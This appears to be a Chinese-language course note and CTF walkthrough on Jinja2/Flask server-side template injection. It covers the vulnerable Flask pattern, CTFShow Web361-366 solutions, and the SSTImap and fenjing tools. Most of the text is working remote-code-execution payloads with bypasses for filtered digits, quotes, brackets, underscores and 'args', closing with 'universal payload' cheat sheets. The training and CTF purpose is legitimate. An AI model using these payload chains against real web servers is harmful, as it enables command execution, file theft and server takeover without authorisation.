70:Python安全 & SSTI模板注入 & Jinja2引擎 & 利用绕过 & 工具实战

前记

本节课为Python安全入门第一讲,核心讲解SSTI服务端模板注入,是Web渗透与CTF的高频考点,也是企业安全服务中常见的漏洞类型。

课程围绕Jinja2(Flask框架) 展开,覆盖:SSTI原理、魔术方法利用、过滤绕过、CTF实战、自动化工具,全程以实战利用为核心,要求掌握:

  1. 理解SSTI漏洞成因
  2. 熟记Jinja2基础利用链
  3. 掌握常见过滤的绕过思路
  4. 会用自动化工具快速利用

一、SSTI 模板注入 基础原理

1. 什么是SSTI

SSTI(Server-Side Template Injection)服务端模板注入

  • 服务端接收用户可控输入,将输入内容直接拼接到网页模板中
  • 模板引擎解析执行拼接后的恶意代码
  • 最终导致:任意代码执行(RCE)、服务器拿Shell、敏感文件读取、信息泄露

核心漏洞成因

模板引擎本身无漏洞,漏洞源于开发者不安全的代码写法:

将用户可控参数直接字符串拼接进模板,再调用渲染函数执行。

2. 各语言常见模板引擎

  • PHP:smarty、twig、blade
  • Python:Jinja2(Flask)、mako、tornado、Django
  • Java:Thymeleaf、FreeMarker、Velocity
  • 本课重点:Python + Jinja2

3. 漏洞触发代码(Flask)

复制代码
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    # 用户可控参数 name
    name = request.args.get('name')
    # 危险写法:直接字符串拼接
    template = '''<h1>Hello {{name}}</h1>''' % name
    # 渲染执行恶意代码
    return render_template_string(template)

app.run()
  • 正常输入:name=test → 输出 Hello test
  • 恶意输入:name={{2*3}} → 输出 6(执行表达式,确认SSTI)
  • 攻击输入:name={{恶意利用链}} → 执行系统命令

二、Python(Jinja2) SSTI 核心利用

1. 必知魔术方法 & 内置对象(讲解+作用)

SSTI利用的核心:从普通对象 → 向上追溯到根类 → 向下找到危险模块 → 执行命令

魔术方法/对象 核心作用
​__class__​ 获取对象的类(如 ''.__class__​ → str类)
​__base__​ 获取类的直接父类(最终追溯到object根类)
​__subclasses__()​ 获取根类的所有子类列表
​__init__​ 初始化类,获取构造方法
​__globals__​ 获取方法的全局命名空间,可拿到os、sys等模块
​__builtins__​ 内建函数集合(eval、open、popen)
​request​ Flask请求对象,可传参绕过过滤
​config​ Flask配置对象,快速拿os模块
​url_for​ Flask路由函数,内置全局空间
​lipsum​ Flask文本生成函数,可直接调用os

2. 基础利用链(最经典,必须掌握)

利用逻辑

​空对象 → 取类 → 取父类(object)→ 取所有子类 → 定位os模块 → 执行命令​

完整Payload

复制代码
# 1. 列出所有子类,查找os._wrap_close的索引
{{''.__class__.__base__.__subclasses__()}}

# 2. 通过索引调用os模块执行命令
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('whoami').read()}}
  • '':空字符串对象(也可用[]、{})
  • 132\]:os._wrap_close子类的索引(环境不同索引不同)

  • read():读取命令执行结果

3. 简化利用链(无索引,实战首选)

不用找子类索引,直接通过Flask内置对象调用os模块,更快、更稳定、绕过更多过滤

复制代码
# 1. config 利用链
{{config.__class__.__init__.__globals__['os'].popen('calc').read()}}

# 2. url_for 利用链
{{url_for.__globals__['os'].popen('calc').read()}}

# 3. lipsum 利用链
{{lipsum.__globals__['os'].popen('calc').read()}}

# 4. get_flashed_messages 利用链
{{get_flashed_messages.__globals__['os'].popen('calc').read()}}

三、SSTI 过滤绕过实战(CTFShow Web361-366)

逐题讲解:过滤规则 → 绕过思路 → 最终Payload

Web361 无过滤

  • 规则:无任何过滤

  • 思路:直接使用基础利用链

  • Payload:

    {{''.class.base.subclasses()[132].init.globals.popen('tac /flag').read()}}

Web362 过滤数字

  • 规则:过滤数字(2、3)

  • 思路:弃用带索引的利用链,改用无数字简化链

  • Payload:

    {{config.class.init.globals['os'].popen('cat /flag').read()}}

Web363 过滤单双引号

  • 规则:禁止使用 ' 或 "

  • 思路:用request.args传参,将命令/模块名通过GET参数传入,绕过引号

  • Payload:

    {{[].class.base.subclasses()[132].init.globalsrequest.args.x.read()}}&x=popen&y=cat /flag

  • request.args.x:GET传参获取模块名

  • request.args.y:GET传参获取执行命令

Web364 过滤单双引号+args

  • 规则:禁用args关键字

  • 思路:替换request.args → request.values(兼容GET/POST传参)

  • Payload:

    {{[].class.base.subclasses()[132].init.globalsrequest.values.x.read()}}&x=popen&y=cat /flag

Web365 过滤单双引号+中括号+args

  • 规则:禁用[]、args、引号

  • 思路:使用无中括号的url_for利用链 + request.values传参

  • Payload:

    {{url_for.globals.os.popen(request.values.x).read()}}&x=cat /flag

Web366 过滤单双引号+中括号+下划线+args

  • 规则:禁用_(下划线)、[]、引号、args

  • 思路:用|attr()过滤器动态获取属性,绕过下划线过滤

  • Payload:

    {{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=globals&b=cat /flag

  • |attr(参数):等价于 .属性,绕过__globals__的下划线限制


四、SSTI 绕过总结(黑盒实战通用)

过滤类型 绕过方法 推荐Payload
过滤数字 用内置对象链(无索引) ​{{url_for.globals['os'].popen('id').read()}}​
过滤单双引号 request传参 ​{{[].class.base.subclasses()[132].init.globals[request.args.x](request.args.y).read()}}​
过滤中括号 无中括号简化链 ​{{lipsum.globals['os'].popen('id').read()}}​
过滤下划线 attr()过滤器
过滤args 换request.values/cookies ​request.values.x​ / request.cookies.x​
过滤os/popen 字符拼接、import ​{{import('o'+'s').popen('id').read()}}​

五、SSTI 自动化利用工具(实战/CTF必备)

1. SSTImap

  • 支持:多模板引擎(Jinja2、Smarty、Twig等)

  • 特点:自定义Payload、自动检测、命令执行

  • 使用命令:

    python3 sstimap.py -u "http://xxx/?name=1"

2. fenjing(净网大师)

  • 专为Jinja2/Flask设计,CTF神器

  • 特点:自动绕过过滤、一键拿flag

  • 使用命令:

    python3 fenjing.py -u "http://xxx/?name=1"

3. 靶场推荐

​websitesVulnerableToSSTI​:集合各类SSTI漏洞环境,用于练习


六、SSTI 黑盒测试流程(企业实战)

  1. 判断是否存在SSTI
    输入测试 payload:{{2*3}},回显6则存在漏洞
  2. 判断模板引擎
    按不同引擎语法测试,确认是Jinja2/PHP/Java模板
  3. 测试过滤规则
    依次测试:{{1}}、{{""}}、{{[]}}、{{__}},确认禁用字符
  4. 构造Payload / 调用工具
    根据过滤规则,选择对应绕过Payload,或用fenjing/SSTImap自动化利用
  5. 执行命令/读取文件
    读取flag、查看系统信息、反弹Shell(出网环境)

七、本课核心重点(实习/面试必背)

  1. SSTI成因:用户可控参数直接拼接模板,模板引擎执行恶意代码

  2. Jinja2核心:{{}}​表达式执行,魔术方法追溯os模块

  3. 最简利用链:{{url_for.globals['os'].popen('id').read()}}​

  4. 核心绕过:

    • 过滤引号 → request传参
    • 过滤下划线 → |attr()
    • 过滤数字 → 无索引内置对象链

过滤时各种情况的技巧

一、第一步:怎么快速判断「过滤了什么」?

你只需要在参数里输入下面这些测试语句,看哪个不回显、报错、403、空、被替换,就知道过滤了什么。

复制代码
{{2}}        → 测试 数字
{{__}}       → 测试 下划线 __
{{[]}}       → 测试 中括号
{{""}}       → 测试 双引号
{{''}}       → 测试 单引号
{{.}}        → 测试 点 .
{{args}}     → 测试 args关键字
{{class}}    → 测试 class关键字

只要不回显原样 = 被过滤

你只要知道过滤了哪一类,直接套下面的 Payload 公式。


二、SSTI 万能 Payload 分类手册(背会这一页就够)

1)无任何过滤 → 直接用最简链

复制代码
{{url_for.__globals__['os'].popen('whoami').read()}}

{{lipsum.__globals__['os'].popen('cat /flag').read()}}

2)过滤 数字(不能用 0-9)

不能用 [132]​ 这种索引,必须用无数字 Payload

复制代码
{{url_for.__globals__['os'].popen('cat /flag').read()}}

{{lipsum.__globals__['os'].popen('cat /flag').read()}}

{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

3)过滤 单/双引号 ' "

不能写 'os'​,必须用 request传参 绕过

复制代码
{{url_for.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag

复制代码
{{lipsum.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

4)过滤 args

把 request.args​ 换成

​request.values​ / request.cookies​

复制代码
{{url_for.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

5)过滤 中括号 [ ]

不能用 ['os']​,直接用 .os​

复制代码
{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat /flag

{{lipsum.__globals__.os.popen(request.values.x).read()}}&x=cat /flag

6)过滤 下划线 __

最难题型:过滤 class __globals__​ 里的 __​

必须用 |attr( ) 过滤器绕过

复制代码
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}
&a=__globals__&b=cat /flag

7)过滤 下划线 + 中括号 + 引号 + args

最强绕过(小迪课程 Web366 最终题型)

复制代码
{{((lipsum|attr(request.values.a)).os.popen(request.values.b)).read()}}
&a=__globals__&b=cat /flag

三、不同括号用法:什么时候用 () [] {} . |

我给你讲最直白、最实战的用法,不用记原理。

1)小括号 ()​

执行方法、调用函数

复制代码
popen('id')
read()
subclasses()

2)中括号 []​

取字典key、取列表索引

复制代码
['os']
[132]

3)点 .​

调用属性、调用模块

复制代码
.__globals__
.os
.popen

4)竖线过滤器 |attr()​

专门用来 绕过下划线 __

复制代码
|attr(__globals__)

四、终极万能对应表(你实战直接查表)

过滤情况 → 直接套用的 Payload

1. 过滤数字

复制代码
{{url_for.__globals__['os'].popen('cat /flag').read()}}

2. 过滤引号

复制代码
{{url_for.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag

3. 过滤 args

复制代码
{{url_for.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

4. 过滤中括号 []

复制代码
{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat /flag

5. 过滤下划线 __

复制代码
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

6. 过滤超级多(下划线+中括号+引号)

复制代码
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

五、我再给你 3 条「万能最终Payload」

不管过滤多严,95% 题目都能打

万能1(无数字、无中括号、最简单)

复制代码
{{url_for.__globals__.os.popen('cat /flag').read()}}

万能2(无引号、无数字)

复制代码
{{url_for.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

万能3(无下划线、无中括号、最强绕过)

复制代码
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

六、你只要记住一句话

过滤数字 → 不用索引

过滤引号 → 用 request

过滤中括号 → 用 . 调用

过滤下划线 → 用 |attr

过滤 args → 换 values

相关推荐
m0_676544382 小时前
MySQL数据库迁移后如何测试数据可读性_进行简单查询验证.txt
jvm·数据库·python
weixin_458580122 小时前
C#怎么实现定时任务 C#如何用Timer和Quartz.NET创建定时执行的后台任务【技巧】
jvm·数据库·python
人道领域2 小时前
【LeetCode刷题日记】239.滑动窗口最大值:单调队列解法(困难)
java·开发语言·算法
果汁华2 小时前
Claude Agent SDK Python:构建自主 AI 代理的官方引擎
开发语言·人工智能·python
常利兵2 小时前
安卓启动页Logo适配秘籍:告别“奇形怪状”的展示
android·java·开发语言
alwaysrun2 小时前
Python获取Steam平台安装游戏信息
python·游戏·steam·vdf
txz20352 小时前
2,使用功能包组织C++节点
开发语言·c++·ros
wtsolutions2 小时前
JSON-to-Excel 本地化应用发布:安全离线转换,数据零泄露
安全·json·excel
qq_413502022 小时前
CSS解决浮动布局中最后一行对齐_配合伪类或容器处理
jvm·数据库·python